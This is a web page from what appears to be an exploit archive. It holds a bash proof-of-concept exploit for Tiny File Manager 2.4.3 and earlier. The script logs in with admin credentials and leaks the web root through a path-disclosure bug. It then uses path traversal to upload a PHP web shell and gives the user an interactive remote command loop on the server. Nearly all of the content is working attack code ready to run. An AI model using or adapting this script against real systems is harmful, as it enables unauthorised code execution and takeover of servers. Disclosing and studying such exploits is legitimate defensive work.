Home[1] Files[2] News[3] Contact[4] Add New[5]
Change Mirror[12] Download[13]
# Tiny File Manager <= 2.4.3 Authenticated RCE exploit
# By FEBIN
# ./exploit.sh <URL> <Admin Username> <Password>
# Example: ./exploit.sh http://files.ubuntu.local/index.php admin "admin@123"
# https://github.com/febinrev/tinyfilemanager-2.4.3-exploit
#
#!/bin/bash
check(){
which curl
if [ $? = 0 ]
then
printf "[✔] Curl found! \n"
else
printf "[❌] Curl not found! \n"
exit
fi
which jq
if [ $? = 0 ]
then
printf "[✔] jq found! \n"
else
printf "[❌] jq not found! \n"
exit
fi
}
usage(){
printf "
TIny File Manager Authenticated RCE POC Exploit.
By FEBIN
$0 <URL> <Admin Username> <Password>
Example: $0 http://files.ubuntu.local/index.php admin \"admin@123\"
"
}
log-in(){
URL=$1
admin=$2
pass=$3
cookie=$(curl "$URL" -X POST -s -d "fm_usr=$admin&fm_pwd=$pass" -i | grep "Set-Cookie: " | sed s/"Set-Cookie: "//g | tr -d " " | tr ";" "\n" | head -1)
if [ $cookie ]
then
printf "\n[+] Login Success! Cookie: $cookie \n"
else
printf "\n[-] Logn Failed! \n"
fi
URL=${URL}
}
find_webroot(){
webroot=$(curl -X POST "$URL?p=&upload" -d "type=upload&uploadurl=http://vyvyuytcuytcuycuytuy/&ajax=true" -H "Cookie: $cookie" -s | jq | grep file | tr -d '"' | tr -d "," | tr -d " " | sed s/"file:"//g | tr "/" "\n" | head --lines=-1 | tr "\n" "/" )
if [ $webroot ]
then
printf "\n[*] Try to Leak Web root directory path \n\n"
printf "[+] Found WEBROOT directory for tinyfilemanager using full path disclosure bug : $webroot \n\n"
else
printf "[-] Can't find WEBROOT! Using default /var/www/html \n"
webroot="/var/www/html"
fi
}
upload(){
#webroot="/var/www/tiny/"
shell="shell$RANDOM.php"
echo "<?php system(\$_REQUEST['cmd']); ?>" > /tmp/$shell
curl $URL?p= -X POST -s -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0" -b $cookie -F "p=" -F "fullpath=../../../../../../../..${webroot}/${shell}" -F "file=@/tmp/$shell" | grep "successful"
}
exploit(){
WEB_URL=$(printf "$URL" | tr "/" "\n" | head --lines=-1 | tr "\n" "/")
upload
if [ $? = 0 ]
then
printf "[+] File Upload Successful! \n"
else
printf "[-] File Upload Unsuccessful! Exiting! \n"
exit 1
fi
printf "[+] Checking for the shell \n"
curl ${WEB_URL}/${shell}?cmd=echo%20found -s | head -1 | grep "found" >/dev/null
if [ $? = 0 ]
then
printf "[+] Shell found ${WEB_URL}/$shell \n"
else
printf "[-] Shell not Found! It might be uploaded somewhere else in the server or got deleted. Exiting! \n"
exit 2
fi
printf "[+] Getting shell access! \n\n"
while true
do
printf "$> "
read cmd
curl ${WEB_URL}/$shell -s -X POST -d "cmd=${cmd}"
done
}
if [ $1 ] && [ $2 ] && [ $3 ]
then
check
log-in $1 $2 $3
find_webroot
exploit
else
usage
fi
File Tags
- ActiveX[19] (932)
- Advisory[20] (76,776)
- Arbitrary[21] (14,964)
- BBS[22] (2,859)
- Bypass[23] (1,532)
- CGI[24] (1,010)
- Code Execution[25] (6,520)
- Conference[26] (668)
- Cracker[27] (797)
- CSRF[28] (3,253)
- DoS[29] (21,576)
- Encryption[30] (2,321)
- Exploit[31] (49,245)
- File Inclusion[32] (4,124)
- File Upload[33] (934)
- Firewall[34] (821)
- Info Disclosure[35] (2,533)
- Intrusion Detection[36] (845)
- Java[37] (2,757)
- JavaScript[38] (790)
- Kernel[39] (5,917)
- Local[40] (13,915)
- Magazine[41] (586)
- Overflow[42] (12,055)
- Perl[43] (1,410)
- PHP[44] (5,028)
- Proof of Concept[45] (2,273)
- Protocol[46] (3,244)
- Python[47] (1,368)
- Remote[48] (29,407)
- Root[49] (3,432)
- Ruby[50] (564)
- Scanner[51] (1,628)
- Security Tool[52] (7,642)
- Shell[53] (3,019)
- Shellcode[54] (1,195)
- Sniffer[55] (878)
- Spoof[56] (2,064)
- SQL Injection[57] (15,908)
- TCP[58] (2,346)
- Trojan[59] (666)
- UDP[60] (866)
- Virus[61] (657)
- Vulnerability[62] (30,205)
- Web[63] (8,901)
- Whitepaper[64] (3,702)
- x86[65] (942)
- XSS[66] (17,227)
- Other[67]
File Archives
- February 2022[68]
- January 2022[69]
- December 2021[70]
- November 2021[71]
- October 2021[72]
- September 2021[73]
- August 2021[74]
- July 2021[75]
- June 2021[76]
- May 2021[77]
- April 2021[78]
- March 2021[79]
- Older[80]
Systems
- AIX[81] (423)
- Apple[82] (1,863)
- BSD[83] (368)
- CentOS[84] (55)
- Cisco[85] (1,911)
- Debian[86] (5,947)
- Fedora[87] (1,690)
- FreeBSD[88] (1,241)
- Gentoo[89] (4,151)
- HPUX[90] (875)
- iOS[91] (312)
- iPhone[92] (108)
- IRIX[93] (220)
- Juniper[94] (67)
- Linux[95] (41,492)
- Mac OS X[96] (682)
- Mandriva[97] (3,105)
- NetBSD[98] (255)
- OpenBSD[99] (476)
- RedHat[100] (11,073)
- Slackware[101] (941)
- Solaris[102] (1,601)
- SUSE[103] (1,444)
- Ubuntu[104] (7,617)
- UNIX[105] (9,021)
- UnixWare[106] (182)
- Windows[107] (6,279)
- Other[108]
- Services
- Security Services[119]
- Hosting By
- Rokasec[120]


